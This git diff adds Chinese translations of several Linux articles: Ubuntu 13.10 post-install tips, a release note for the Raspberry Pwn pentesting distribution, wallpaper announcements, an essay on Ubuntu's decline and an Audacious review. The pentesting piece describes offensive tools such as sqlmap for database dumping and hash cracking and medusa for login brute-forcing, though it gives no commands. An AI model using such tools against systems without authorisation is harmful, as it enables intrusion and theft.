+然后安装最新的Nvidia驱动和“nvidia-prime”: + + sudo apt-get install nvidia-319 nvidia-settings-319 nvidia-prime + +最后重启电脑(重启X是不够)。 + +如果你想撤销这些改变,你可以输入通过下面的指令: + + sudo apt-get remove nvidia-319 nvidia-settings-319 nvidia-prime + +然后重启 + +**AMD 混合显卡**:我并没有测试过这个,因为我没有支持AMD显卡的系统,但是根据Ubuntu wiki上的[**HybridGraphics**][9]包说明,应该是没有问题。(再次申明,我并不确定,因为我没试过) + + +要想在Ubuntu 13.10下获得合适的AMD显卡支持。你需要安装最新的 fglrx驱动和fglrx-pxpress: + + sudo apt-get install fglrx fglrx-pxpress + +并重启电脑。重启X是没有用的 + +### 5. 延长电池寿命 ### + +有两个工具可以延长电池的寿命:laptop-mode-tools 和 TLP。这两个工具都是为了延长电池寿命,[**TLP**][10] 似乎效果更好一点,但是TLP仅有PPA,如果你不想添加APPs时,就安装 laptop-mode-tools吧。 + +注意:**不要同时安装laptop-mode-tools和TLP** + +点击下面的按钮安装laptop-mode-tools。 + +[![](https://apps.ubuntu.com/assets/images/scbutton-free-200px.png)][11] + +或者通过命令行安装: + + sudo apt-get install laptop-mode-tools + +输入下面命令安装TLP: + + sudo add-apt-repository ppa:linrunner/tlp + sudo apt-get update + sudo apt-get install tlp tlp-rdw + sudo tlp start + +这两个工具都不需要额外的配置。 + +另外一种节约电池的方法是**Bumblebee**(是允许在独显运行软件或游戏的工具),Bumblebee是一款支持笔记本上双显卡智能切换的软件。能停止Nvidia显卡,当你不需要使用的时候。 + +**注意:如果你想在显卡自动切换技术的第4步采用混合显卡时,请不要安装Bumblebee** + +点击下面的按钮进行安装: + +[![](https://apps.ubuntu.com/assets/images/scbutton-free-200px.png)][12] + + sudo apt-get install bumblebee bumblebee-nvidia + +然后重启。 + +在Ubuntu中有个禁止"optirun"工作的[**bug**][13]。通过下面的命令解决这个问题。 + +- 32位系统 + + sudo ln -s /usr/lib/i386-linux-gnu/libturbojpeg.so.0 /usr/lib/i386-linux-gnu/libturbojpeg.so + +- 64位系统 + + sudo ln -s /usr/lib/x86_64-linux-gnu/libturbojpeg.so.0 /usr/lib/x86_64-linux-gnu/libturbojpeg.so + +当你想用Nvidia显卡时,运行: + + optirun APP-EXECUTABLE + +将"APP-EXECUTABLE"替换为你要运行的软件或者游戏的可执行文件。 + +### 6. 安装 编解码器, Java 和 加密DVD播放 ### + +如果需要播放更多类型的音频视频文件,那就安装 **Ubuntu Restricted Extras** 吧 + +[![](https://apps.ubuntu.com/assets/images/scbutton-free-200px.png)][14] + +或者输入下面的命令行: + + sudo apt-get install ubuntu-restricted-extras + +我建议再安装一下“libavformat 和 libavcodec的无限制版”,这样当你使用一些编辑器或者转换器的时候就不会出现丢失编码丢失的情况。点击下面的按钮进行安装: + +[![](https://apps.ubuntu.com/assets/images/scbutton-free-200px.png)][15] + +或者输入一下命令行: + + sudo apt-get install libavformat-extra-53 libavcodec-extra-53 + +你可能需要Java,但是你得明确你到底需要的是什么,不少用户仅仅使用**OpenJRE**和java游览器插件,你可以点击下面的按钮安装: + +[![](https://apps.ubuntu.com/assets/images/scbutton-free-200px.png)][16] + +或者输入命令行: + + sudo apt-get install icedtea-7-plugin openjdk-7-jre + +如果用于开发,你可能需要**OpenJDK**,点击下面的按钮进行安装: + +[![](https://apps.ubuntu.com/assets/images/scbutton-free-200px.png)][17] + +或者输入下面的命令行: + + sudo apt-get install openjdk-7-jdk + + +如果你因为某些原因需要安装**Oracle Java**(包含JDK,JRE,游览器插件的包)时,你可以通过下面的命令进行安装[**Oracle Java 7**][18] : + + sudo add-apt-repository ppa:webupd8team/java + sudo apt-get update + sudo apt-get install oracle-java7-installer + + +**加密DVD播放**: 由于现在很多安装包都能在官方的库中找到,或者有更好的替代物,Medibuntu也渐渐的[**被废弃**][19]了。但是在播放加密视频时仍然需要livdvdcss包。 + + 输入以下指令启动加密DVD播放功能: + + sudo apt-get install libdvdread4 + sudo /usr/share/doc/libdvdread4/install-css.sh + +### 7. 安装最新的 Rhythmbox 和 VLC ### + + +![](http://dl.dropboxusercontent.com/u/1113424/img/rhythmbox-n-vlc.png) + +在Ubuntu13.10中,Rhythmbox 和 VLC并没有升级到最新的版本,如果你想安装最新的版本,你可以使用PPAs + +请注意:升级Rhythmbox后,里面的[**第三方插件**][20]将停止工作。Rhythmbox插件可以正常的运行。 + +**Rhythmbox**(Ubuntu 13.10下的版本:2.99.1,PPA中的版本:3.0.1): + + sudo add-apt-repository ppa:jacob/media + sudo apt-get update + sudo apt-get install rhythmbox + +**VLC**(Ubuntu 13.10下的版本:2.0.8,PPA中的版本:2.1.0): + + sudo add-apt-repository ppa:videolan/stable-daily + sudo apt-get update + sudo apt-get install vlc + +### 8. Tweak Nautilus: 打开被禁用的递归搜索和文件快速预览 ### + +![](http://dl.dropboxusercontent.com/u/1113424/img/nautilus-no-recursive.png) + +在Nautilus V3.6之后,提前键入查找功能就被去除掉了。之后版本的搜索就只是在当前文件夹和其子文件下进行搜索。这用起来就很不爽了,如果你为此感到烦恼的话就安装Nautilus的补丁来启用[**被禁用的递归搜索**][21](你可以很方便的启用它)。 + +**用下面的命令将Nautilus升级到可以禁用递归搜过的版本** + + sudo add-apt-repository ppa:dr3mro/personal + sudo apt-get update + sudo apt-get upgrade + nautilus -q + +**然后使用下面的命令禁用递归搜索** + + gsettings set org.gnome.nautilus.preferences enable-recursive-search false + +如果你还想恢复递归搜索的功能,使用下面的命令行: + + gsettings set org.gnome.nautilus.preferences enable-recursive-search true + +![](http://dl.dropboxusercontent.com/u/1113424/img/gnome-sushi.png) + +**GNOME Sushi**是一款快速预览的软件。点击下面的按钮安装。(会安装gnome-sushi 和 unoconv来实现预览)。 + +[![](https://apps.ubuntu.com/assets/images/scbutton-free-200px.png)][22] + +或者输入命令行: + + sudo apt-get install gnome-sushi unoconv + +要使用这个软件,需选择一个文件(图片、文本文档、音乐文件等)然后点击SPACE按钮来预览。再次点击SPACE按钮或者关闭窗口可以关闭预览。 + +**现在!看完我们的介绍之后,你会选择哪个作为第一个安装的呢?** + +-------------------------------------------------------------------------------- + +via: http://www.webupd8.org/2013/10/8-things-to-do-after-installing-ubuntu.html + +译者:[Timeszoro](https://github.com/Timeszoro) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:apt://indicator-multiload +[2]:apt://indicator-cpufreq +[3]:http://www.webupd8.org/2013/06/variety-wallpaper-changer-0415-released.html +[4]:apt://diodon,diodon-plugins +[5]:apt://unity-tweak-tool +[6]:http://www.webupd8.org/2013/10/how-to-disable-amazon-shopping.html +[7]:http://www.florian-diesch.de/software/indicator-privacy/ +[8]:http://www.webupd8.org/2013/08/using-nvidia-graphics-drivers-with.html +[9]:https://wiki.ubuntu.com/X/Config/HybridGraphics#Known_issues +[10]:http://www.webupd8.org/2013/04/improve-power-usage-battery-life-in.html +[11]:apt://laptop-mode-tools +[12]:apt://bumblebee,bumblebee-nvidia +[13]:http://www.webupd8.org/2013/10/fix-bumblebee-libturbojpegso-issue-in.html +[14]:apt://ubuntu-restricted-extras +[15]:apt://libavformat-extra-53,libavcodec-extra-53 +[16]:apt://icedtea-7-plugin,openjdk-7-jre +[17]:apt://openjdk-7-jdk +[18]:http://www.webupd8.org/2012/01/install-oracle-java-jdk-7-in-ubuntu-via.html +[19]:http://gauvain.pocentek.net/node/61 +[20]:http://www.webupd8.org/2012/08/rhythmbox-third-party-plugins-ubuntu-ppa.html +[21]:http://www.webupd8.org/2013/09/how-to-disable-recursive-search-in.html +[22]:apt://gnome-sushi,unoconv \ No newline at end of file diff --git a/published/201310/A Pentesting Release for the Raspberry Pi.md b/published/201310/A Pentesting Release for the Raspberry Pi.md new file mode 100644 index 0000000000..ec75603d5a --- /dev/null +++ b/published/201310/A Pentesting Release for the Raspberry Pi.md @@ -0,0 +1,108 @@ +基于树莓派的渗透测试套件Raspbeery Pwn发布 +======================= + +**树莓派(Raspbeery Pi)** 是一款只有一张信用卡大小的单一主板计算机。它由英国的树莓派基金会所开发,目的是以低廉的硬件及自由软件推进学校的基础计算机教育。 树莓派是由有生产许可的**Newark element14 (Premier Farnell)**、 **RS Components** 和 **Egoman**公司所生产的,这些公司都在网上出售树莓派。Egoman生产的版本主要销售到中国大陆和台湾地区,可以从它们的颜色是红色和没有FCC/CE标志上区别于其它的树莓派。所有生产商产品硬件都是一样的。(来自维基百科) + +Pwnie Express 团队已经宣布了Raspbeery Pwn的第一个发布版本,它可以用于将你的树莓派变成一个全功能的安全渗透测试和审计平台。此版本的Raspbberry Pwn 包含了所有的渗透测试平台所需的工具。那么在你的树莓派上做渗透测试,你觉得怎么样?Sqlmap、nmap、 wireshark、 scapy、 nikto、 xprobe、 socat等等,这些还不够你来渗透测试你的网络吗? + +Raspbeery Pwn 自带下面的工具: +- nmap +- dsniff +- netcat +- nikto +- xprobe +- scapy +- wireshark +- tcpdump +- ettercap +- hping3 +- medusa +- macchanger +- nbtscan +- john +- ptunnel +- p0f +- ngrep +- tcpflow +- openvpn +- iodine +- httptunnel +- cryptcat +- sipsak +- yersinia +- smbclient +- sslsniff +- tcptraceroute +- pbnj +- netdiscover +- netmask +- udptunnel +- dnstracer +- sslscan +- medusa +- ipcalc +- dnswalk +- socat +- onesixtyone +- tinyproxy +- dmitry +- fcrackzip +- ssldump +- fping +- ike-scan +- gpsd +- darkstat +- swaks +- arping +- tcpreplay +- sipcrack +- proxychains +- proxytunnel +- siege +- sqlmap +- wapiti +- skipfish +- w3af + +我来为你们对上面的工具做一个简短的说明。我不会说明所有的工具,仅想说说上面的两三个工具。简单的Google搜索将会帮你找到所有工具的详细说明。 + +**Nmap** + +Nmap是一个免费开源的网络嗅探工具,帮助我们扫描网络。网络管理者们发现它在每天的工作中非常有用,如果你有计划做一名网管的话,你应该学习如何使用Nmap。Nmap能够帮助我们扫描一个网络中有多少主机,它们正在用什么操作系统,以及它们开放的端口和这些端口上正在运行什么服务。它是一个命令行工具,要是你不喜欢记这么多命令的话,这有一个叫做Zenmap的Nmap图形化版本。Namp和Zenmap都是多平台的(支持Linux、Windows、Mac OS、BSD等等),因此你不必担心操作系统。Nmap可以将扫描(scan)结果保存为文件,并且我们能够在以后的分析中使用这些文件。更棒的是,我喜欢Nmap的地方是它的脚本引擎(NSE),我们可以自己写脚本在Nmap中使用。浏览更多:[http://www.unixmen.com/scan-your-home-network-with-nmap/][1] + + +**Netcat** + +netcat 是一个命令行网络工具,它能够通过TCP协议或UDP协议来读写数据。最初为Unix而写,在1996年发布,已经被移植到了多个操作系统,事实说明它在竞争中依然保持强劲发展。17年来netcat是属于每一个网络管理/安全专家的工具箱。人们说"姜还是老的辣",在我看来这对netcat来说是真的。事实是,只有你想不到的没有netcat做不到的,根据你的意图,你可以用它做好事或者不好的事。netcat可以作为客户端或服务器端运行。除开少数例外,newcat的命令选项在Windows和Linux是一样的,这使得netcat成为一个更强大的工具。在另外一篇文章中将为你介绍netcat的命令选项,还有你将学习到如何执行一些基本的netcat操作。 + +- 浏览更多:[http://www.unixmen.com/short-introduction-to-netcat][2] + +**Sqlmap** + +如果你需要一个工具在你的web应用中利用(译者注:exploit在计算机安全术语中,这个词通常表示利用程序中的某些漏洞,来得到计算机的控制权,这个词同时也表示为了利用这个漏洞而编写的攻击程序),或者直接将数据库搞掉,那么使用sqlmap就对了。Sqlmap是一个被全世界所有渗透测试者使用的工具,它具备全面的功能。它的一些功能如下: + +- 完全支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase 和 SAP MaxDB数据库管理系统。 +- 完全支持6种SQL注入技术:boolean-based blind,time-based blind, error-based, UNION query, stacked queries 和 out-of-band。 +- 支持不用通过SQL注入而直接连接到数据库,需要提供DBMS凭证、IP地址、端口和数据库名称等。 +- 支持枚举用户、密码哈希、权限、角色、数据库、表和列等。 +- 自动识别密码散列格式,支持使用基于字典的攻击cracking它们。 +- 支持数据库整表导出,根据每个用户的选择范围内的条目或特定的列。用户可以从每个列条目选择只转储一定范围内的字符。 +- 支持通过数据库名称,所有数据库的表及所有的列的搜索。 + +**Medusa** + +你需要一个登录信息的暴力破解(brute-forcer)器吗?Mesusa是基于Gentoo Linux 和 FreeBSD开发的,用于暴力破解网络服务。Mesusa支持FTP、 HTTP、 IMAP、 MS-SQL、 MySQL、 NCP (NetWare)、 NNTP、 PcAnywhere、 POP3、 PostgreSQL、rexec、 rlogin、 rsh、 SMB、 SMTP (AUTH/VRFY)、 SNMP、 SSHv2、 SVN和许多其它服务一起工作。你可以在[这里][3]浏览更多关于Medusa的信息。 + +在Raspbeery Pwn这次发布中你能看到所有渗透测试所需要的工具.你有一个树莓派吗?把它变成一个渗透机器吧! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/pentesting-release-raspberry-pi/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[flsf](https://github.com/flsf) 校对:[wxy](https://github.com/wxy) + +[1]:http://www.unixmen.com/scan-your-home-network-with-nmap/ +[2]:http://www.unixmen.com/short-introduction-to-netcat/ +[3]:http://seclists.org/pen-test/2012/Apr/1 diff --git a/published/201310/Add a metallic variation to Saucy's default wall with Aqua Graphite wallpaper.md b/published/201310/Add a metallic variation to Saucy's default wall with Aqua Graphite wallpaper.md new file mode 100644 index 0000000000..7440ecbb18 --- /dev/null +++ b/published/201310/Add a metallic variation to Saucy's default wall with Aqua Graphite wallpaper.md @@ -0,0 +1,30 @@ +水墨壁纸给Saucy默认壁纸增加了一种金属感的变化 +========================================= + +在每个ubuntu版本的开发周期中,默认提供的壁纸都有两个来源:一方面来源于征集比赛,有创意的设计师将图稿提交到专门的Flickr池中;另一方面来源于默认的壁纸。 + +**Ubuntu设计师Mika Meskanen**在推特上[分享][1]了Ubuntu 13.10版默认壁纸的一个有趣的变化,通过滤镜把默认的Saucy壁纸变成更加素雅的金属质感。 + +称之为“水墨”的墙纸把默认Saucy壁纸的颜色变成灰蓝色系,这成为了鲜活的橙红色系以外又一款好看的默认壁纸。 + +![](http://iloveubuntu.net/pictures_me/Aqua%20Graphite%20saucy.png) + +水墨壁纸不仅给桌面加入了一种冷感静态的感觉,在Dash界面中也加入了蓝颜色,非常适合那些喜欢蓝色系的用户。 + +这张分辨率为2560x1600像素,大小为2.7MB的壁纸现在可以从这里下载到: [http://farm3.staticflickr.com/2831/9950159855_fa8077e928_o.png][2] + +--- + +via: http://iloveubuntu.net/add-metallic-variation-saucys-default-wall-aqua-graphite-wallpaper + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[markvv][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[markvv]:http://linux.cn/space/markvv +[Caroline]:http://linux.cn/space/14763 + +[1]:https://twitter.com/Mesq/status/383221778257936384 +[2]:http://farm3.staticflickr.com/2831/9950159855_fa8077e928_o.png diff --git a/published/201310/Add vitality to your desktop with Saucy Salamander Wallpaper pack.md b/published/201310/Add vitality to your desktop with Saucy Salamander Wallpaper pack.md new file mode 100644 index 0000000000..c776fa95d0 --- /dev/null +++ b/published/201310/Add vitality to your desktop with Saucy Salamander Wallpaper pack.md @@ -0,0 +1,27 @@ +“俏皮的蝾螈”墙纸为你的桌面添加活力 +============================== + +2013年10月17日,Ubuntu 13.10即将发行,这将是又一个令人兴奋的功能强大的操作系统,该系统包含许多新的特性和改进,以及设计比赛产生的、默认设计的新的桌面壁纸。 + +**俏皮的蝾螈壁纸** 是一组简约风格的桌面环境,它的中心图案由一个活泼的蝾螈组成。 + +基本来说,这套壁纸的核心内容是一只在橙色背景上白色风格的蝾螈,同时在壁纸的四个边角添加了白色的圆角,用来衬托这只可爱的蝾螈小演员。 + +这样做的结果是:映入眼帘的图案是愉快和安静的,同时橙色的背景也为Dash添加了温暖的色调。 + +![](http://iloveubuntu.net/pictures_me/1366x768saucy.png) + +俏皮的蝾螈壁纸包含有以下几个 **尺寸**:1024x768, 1080x1024, 1366x768, 1440x900, 1920x1080, 1920x1080, 用来满足不同分辨率的需要。 + +要了解更多的信息,壁纸及 **XCF** 源文件的下载,可以访问以下网址: [http://www.deviantart.com/art/Saucy-Salamander-Wallpaper-402488552][1] + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/add-vitality-your-desktop-saucy-salamander-wallpaper-pack + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[woodboow](https://github.com/woodboow) 校对:[wxy](https://github.com/wxy) + + +[1]:http://www.deviantart.com/art/Saucy-Salamander-Wallpaper-402488552 diff --git a/published/201310/Are We Witnessing the Decline of Ubuntu.md b/published/201310/Are We Witnessing the Decline of Ubuntu.md new file mode 100644 index 0000000000..624968954e --- /dev/null +++ b/published/201310/Are We Witnessing the Decline of Ubuntu.md @@ -0,0 +1,101 @@ +我们正在见证Ubuntu的没落? +======================================== + +真正的历史总在事情发生多年以后才会写就。但是,我越来越相信,当将来某天自由软件的历史最终定稿的时候,去年,将作为Ubuntu没落的初始之年而被载入史册。 + +起初,这个想法可能看起来荒谬可笑或者不怀好意。因为你仍能看到Ubuntu的狂热支持者们在为其每一个发行版的改进鼓掌叫好呐喊助威;记者们也还在谄媚地报道Ubuntu创始人Mark Shuttleworth所说的每一句话。 + +> 社区负责人Jono Bacon正在为Ubuntu Touch移动操作系统开发一个新的应用开发者社区;最近,Ubuntu的商业部门Canonical还公布了一些重大项目,例如与中国政府合作,为其开发[国家级的中文操作系统][1],以及被Linux基金会选中负责实现[Steam][2]游戏平台等等。 + +然而,[Ubuntu在Google上搜索量][3]的锐减趋势也许能说明一些问题。除了Android和Mageia,其他Linux[主流发行版][4]情况类似,都有所下降,但事实是,即便这样,却没有哪个发行版像Ubuntu一样下降得如此厉害 —— 搜索量还不到2007年10月的一半,为2006年六月以来的最低值。 + +一直以来,质疑都在持续。Shuttleworth曾经希望能引领自由软件,但现在Ubuntu和Canonical已经将他们自己孤立于自由软件社区之外。就在去年,社区已经多次暗示,它至少部分感到权利被剥夺。 + +最糟糕的的是,去年,Ubuntu发起的倡议一再被否决,Canonical盈利能力也出现了明显的持续下降。所有这些现象,看起来好像该组织已经陷入一片难以挽回的混乱,当然,如果这些真的可以挽回的话。 + +###半途而废 + +和去年形成鲜明对比的是Ubuntu的早几年。2005年到2007年,三年间,Ubuntu成为了Linux桌面世界最新最伟大的希望之星,批评言论主要限于那些认为没有给Debian足够荣誉或是质疑某个古怪暴发户投资动机的人。 + +在那些风光的年月里,Ubuntu确实做出了很多努力,大大推进了Linux桌面系统的易用性与普遍性。也许最值得铭记的就是它对多语言环境和本地化键盘切换的支持,现在这已成为各大主流发行版的标准。 + +但好景不长,渐渐地,Ubuntu和Canonical开始将自己孤立于主流自由软件社区之外。Shuttleworth的那些美好初衷,诸如项目协作、强调易用性等等,都被严重忽略了。由于对GNOME开发速度不满 —— 也或者是被GNOME社区视为爆发户 —— Shuttleworth开始了Unity 接口开发,他对此如此着迷,以致甘愿放弃Canonical CEO的职位。 + +由此,Unity以及与之相关的一切迅速成为了新版Ubuntu发布的关注焦点。由于Canonical不断要求完善的压力(很少有人注意到这是跳票的真正原因),有时软件包的开发像之前一样无法赶上发布进度,这样就使得开发团队总是无法得到Ubuntu社区的肯定。 + +虽然在Unity上赋予了很多开发努力,结果却是Unity更适于匹配移动设备,而不是工作站或笔记本电脑。经Distrowatch的统计,尽管有多达[79个发行版][5]是由Ubuntu衍生而来,但其中只有[11个发行版][4]默认采用了Unity。Ubuntu家族尚且如此,其他的主流发行版就更不会采用Unity了,更不要说推动它的发展。 + +同样的情况还发生在[Upstart][6]上,Ubuntu使用它代替init服务;以及最近的[Mir][7],Ubuntu用其代替Wayland,而被替换下场的Wayland,正是其他发行版一直看好的X Window系统的最佳替代者。 + +Ubuntu为什么要这么做?Upstart和Mir虽然都保留着自由软件许可,但其实它们都在Canonical的实际控制之下,Canonical主要通过[贡献者协议][8]将所有权利都划归到了公司手里。 + +这种控制也许就是Intel最近[宣布][9]它将不再支持Mir的原因。在过去4年里,Ubuntu和Canonical已经从最受自由软件社区欢迎的成员变成了表面遵守自由软件许可暗地里却背道而驰的牛犊子。现在,这个圈子里已经没有人再愿意帮它任何忙了。 + +###后院起火 + +Canonical将自己孤立得越发遥远,它却越想控制整个Ubuntu社区。 + +Canonical之所以这样,也许可以解释为这是越来越坚定想努力盈利的结果。尽管Canonical一直在忙于宣布获得了新的合作与支持,但是[这些声明][10]中却总是缺少任何提及合作资金数额的词句。要说这是遗漏了?经过长达九年的商业化运行,很难想象他们会漏掉任何可以报道的好消息。但是,无论原因是什么,Canonical已经越来越多地不经任何商讨,就将它的决定强加给Ubuntu志愿者社区。 + +其中的许多决定都是很琐碎的。范围从决定不再支持完全自由许可的Ubuntu版本或者一个基于KDE的版本,到标题栏图标的重新定位,以及替换[HUD][11]菜单的介绍。 + +其实,在争论中,解决问题并不是最重要的,重要的是解决问题时人们之间的关系。与Canonical不同,Ubuntu社区每天的运行看起来就像是任何预期中规范的自由软件项目一样,有讨论有商议。而Canonical呢?据说,Canonical公司中的高级雇员经常滥用否决权,即便是礼貌的否定,都可能会导致摩擦 —— 更何况,这种否定还常常是粗鲁的。Canonical已经不再欢迎开诚布公的讨论,而是借着“为了让Ubuntu成功”的名义越来越倾向于扼杀人们的不同意见。 + +矛盾积蓄久了终会爆发。经过长时间的公开质问,Ubuntu社区贡献者们的地位仍得不到肯定,2013年2月,许多人开始考虑退出社区(事实上,貌似只有一个人付诸行动) + +表达不满的首次发声很快就被Jono Bacon老练的公关手段平息下来,但也仅仅过了几个月,由于Ubuntu首页上[通往社区的链接被移除][11],矛盾再次爆发。 + +Bacon再一次平息了事态,在局外人看来,这几个月社区似乎重新归于平静。但是长期积累的不满不可能完全消失,理由很简单,Canonical一直都在无视Ubuntu社区。矛盾再次爆发看起来只是时间问题。 + +###迷失方向 + +Canonical是否曾经相信Ubuntu发行版能够盈利,这我们不得而知。当然,之前无数的教训已经警告了Canonical,为赚钱而生的发行版成功的几率有多渺茫。但是多年来在Ubuntu上付出的努力似乎表明Canonical希望——或者曾经希望——能将不可能变为可能。又或者,也许Canonical只是简单地将一个优秀发行版看作是其宏伟目标的踏脚石。 + +不管怎样,如今看来,在Unity上付出如此多的努力已经是一步错棋。直到今天,Canonical似乎仍然缺乏一个商业计划为其带来任何可以盈利的合理机会。 + +至于那些周边产品,诸如在线存储、音乐商店、或者Dash中的合作广告,这些努力可能有助于弥补开发Ubuntu所需的花销,但要说这些东西就能帮助Ubuntu盈利,没人会张这个嘴。而用在线会议代替实际会议,这只能说明一家公司正在寻找削减开支的手段,而不是盈利的方法。 + +更重要的,这些“努力”会导致新的问题。其中格外要提到的是,Dash中的广告已经导致了对个人隐私的担忧,甚至被[Richard Stallman][12]称之为间谍软件。这些广告还加重了社区的不满情绪。 + +Canonical用了一年时间来[解决个人隐私问题][13],但即使这样,缺乏足够的细节说明它只是想让用户们相信它。 + +其他方面,像[Ubuntu TV][14],仍然没有成形。当然,Ubuntu的主战略看起来正向多样化多元素靠拢,但是尝试闯入一个饱和市场,其合理性仍然值得怀疑。Ubuntu Touch计划于10月份同13.10一起发布,但是如果有手机制造商要搭载预装产品,Canonical还将推迟发布日期。 + +更糟的是[Ubuntu Edge][15]资金筹集计划,该计划打算通过众筹基金打造一款时尚前卫的经典手机,如果能够成功,Canonical就可以在市场中为其建立一个小生态圈。 + +然而,最终3200万美元的筹资目标只达到了四成,Canonical对此只能“强颜欢笑”,因为参与众筹的投资者们也确实为产品卖力的宣传了。但是这个结果意味着Canonical在潜在的商业伙伴眼中背上了失败者的名声,现实就是如此残酷。Ubuntu Edge的失败给Canonical的商业计划留下的是更多的不确定性,希望愈加渺茫。 + +###拭目以待 + +以上我所写的这些并不是说一夜之间Canonical和Ubuntu就会消失。任何“没落”都才刚刚开始,并不是无法挽回。管理层引进新面孔,或者执行内部改革,都有可能让Canonical和Ubuntu重新振作。也许倾听Ubuntu社区的声音也是一个好的选择。 + +如果问题依旧,即使再过一个9年,Canonical和Ubuntu也不会成功。Linux桌面那些早年的主要贡献者,他们甚至都没有对自己的代码有所创新,更不要提一般的自由软件了。长此以往,要么困惑要么绝望,都将会加速Ubuntu的没落。 + +即使不加以改革,Ubuntu和Canonical也有可能恢复之前的威望,虽然Ubuntu Edge项目表明这种可能性并不大。但是,渐渐地,Canonical和Ubuntu已经开始失去他们多年来拥有的领袖地位。 + +到底是扭转颓势,还是依靠不疼不痒的措施加速没落,这些都是未知数。接下来的这几年会很有趣,充满变数,让我们拭目以待! + +--- + +via: http://www.datamation.com/open-source/are-we-witnessing-the-decline-of-ubuntu-1.html + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[tinyeyeser](https://github.com/tinyeyeser) 校对:[jasminepeng](https://github.com/jasminepeng) + + +[1]:http://www.canonical.com/content/canonical-and-chinese-standards-body-announce-ubuntu-collaboration +[2]:http://games.slashdot.org/story/13/02/14/2318247/valve-officially-launches-steam-for-linux +[3]:https://www.google.com/trends/explore?q=Ubuntu#q=Ubuntu%2C%20Canonical&cmpt=q +[4]:http://distrowatch.com/search.php?ostype=All&category=All&origin=All&basedon=All¬basedon=None&desktop=Unity&architecture=All&status=Active +[5]:http://distrowatch.com/search.php?ostype=All&category=All&origin=All&basedon=Ubuntu¬basedon=None&desktop=All&architecture=All&status=Active +[6]:http://en.wikipedia.org/wiki/Upstart +[7]:http://en.wikipedia.org/wiki/Mir_%28software%29 +[8]:http://www.canonical.com/contributors +[9]:http://arstechnica.com/information-technology/2013/09/intel-rejection-of-ubuntus-mir-patch-forces-canonical-to-go-own-way/ +[10]:http://www.canonical.com/about-canonical/news-and-events +[11]:https://wiki.ubuntu.com/Unity/HUD +[12]:https://www.fsf.org/blogs/rms/ubuntu-spyware-what-to-do +[13]:http://iloveubuntu.net/smart-scopes-anonymize-images-landing-users-dash-privacy-oriented +[14]:http://www.ubuntu.com/tv +[15]:http://www.datamation.com/open-source/ubuntu-edge-canonicals-big-gamble.html diff --git a/published/201310/Audacious 3.4 for Linux Review.md b/published/201310/Audacious 3.4 for Linux Review.md new file mode 100644 index 0000000000..d58172752c --- /dev/null +++ b/published/201310/Audacious 3.4 for Linux Review.md @@ -0,0 +1,112 @@ +点评Linux平台上的音乐播放器Audacious 3.4 +==================================== + +**在Linux平台上,虽然音乐播放器软件多如牛毛,但是称得上音乐播放器这个名称的为数不多。Audacious是一款非常知名的软件,并且就是这些能被叫做音乐播放器的少数软件之一。** + +![](http://i1-news.softpedia-static.com/images/news2/Audacious-Review-387093-2.jpg) + +###版本点评:Audacious 3.4 + +Audacious是一款开源的音乐播放器软件。 作为XMMS播放器软件的分支,Audacious播放器可以随心所欲的播放你的音乐,并且不会抢占其他任务的系统资源。 在你的所有音乐库里,你可以进行拖动文件夹和放置私人的歌曲文件、搜索歌手和专辑或者编辑你的自定义播放列表等操作。 + +**特性:** + +- 聆听CD +- 简洁的播放列表 +- 清爽的界面 +- 轻量级的系统资源利用 +- 多种音效设置 +- 大量的plugins + +在Linux平台上并不缺乏音乐播放器软件,但每过去一年,这种类型的软件定义变得越來越模糊。开发商正在实验新的东西,他们尝试着模仿其他平台的软件以及从其他平台复制有特色的功能过来。 + +今天在用的大多数播放器,至少是一些主要的发布版本,已经尝试着加入一些功能,并不仅仅是一个简单的媒体播放器。开发商已经实现了在线电台、广播,甚至在界面上就可以直接购买音乐的功能。 + +虽然这种创新是值得提倡的,但在音频播放器上做的太过火了。开发商已经忘记了这软件的主要作用。虽然不用打开网络浏览器就能购买音乐很不错,但是一款音频播放软件不应该把此功能当作核心。 + +我们现在看看Audacious,一款在Linux平台上的“老校友”式的音频播放软件,仍在更新及增加新血液,它不会为了要得到所有第三方服务而改变核心功能。 + +###安装 + +有复杂的和简单的两种方式来安装Audacious。复杂的方式即从源代码开始编译安装,其实没有必要这样做。如果选择从源代码编译开始,那么以后的更新都要用相同的方法来做,这将是非常繁琐的过程。 + +我们已经在Ubuntu 13.10 (Saucy Salamander)系统上安装了Audacious 3.4。虽然Ubuntu 13.10系统仍然处于测试阶段,但是除了一个异常外它已经被证实是一个稳定的操作系统。 + +这个软件的最新版本是在官方源已经可用,可以通过Ubuntu软件中心安装或使用终端来安装。通常,我们建议用后一种方式,因为Ubuntu软件中心需要一些依赖的软件登录,即使它们是免费的,而且最好看看在安装过程中具体的发生了什么。 + +打开终端,输入如下的命令: + + sudo apt-get install audacious + +当所有的包都已安装结束,像平时一样,打开Unity Dash,键入应用程序的名称,你就能找到这个播放器的快捷图标。 + +###总结 + +如果您正在寻找传统但也包含了一些新的功能的音频播放器,你应该试试Audacious。 + +该软件有一个简单的界面,它几乎不占用任何系统资源,没有任何花里胡哨的功能,这也正是它的风格。Audacious播放音乐,就这样,一点也不突兀。 + +**优点** + +我最喜欢Audacious的就是它清爽干净,而不是伪装简单的界面。从一开始,你会发现,一切都已经设计了这样一种方式,你几乎不可能会犯任何错误。 + +不像它的一些竞争对手软件(对,我说的就是Rythmbox),为了导入一个简单的文件夹,你将四处摸索此功能所在何处。它不会用各样的排序你的音乐库的方式来打扰用户,显示歌曲信息的方式也很舒服。 + +![](http://i1-news.softpedia-static.com/images/news2/Audacious-Review-387093-4.jpg) + + +它还配备了一个非常简单和高效的悬停界面,当你想看到一首歌的细节,但你不想点击该特定项目,这是非常有用的。 + 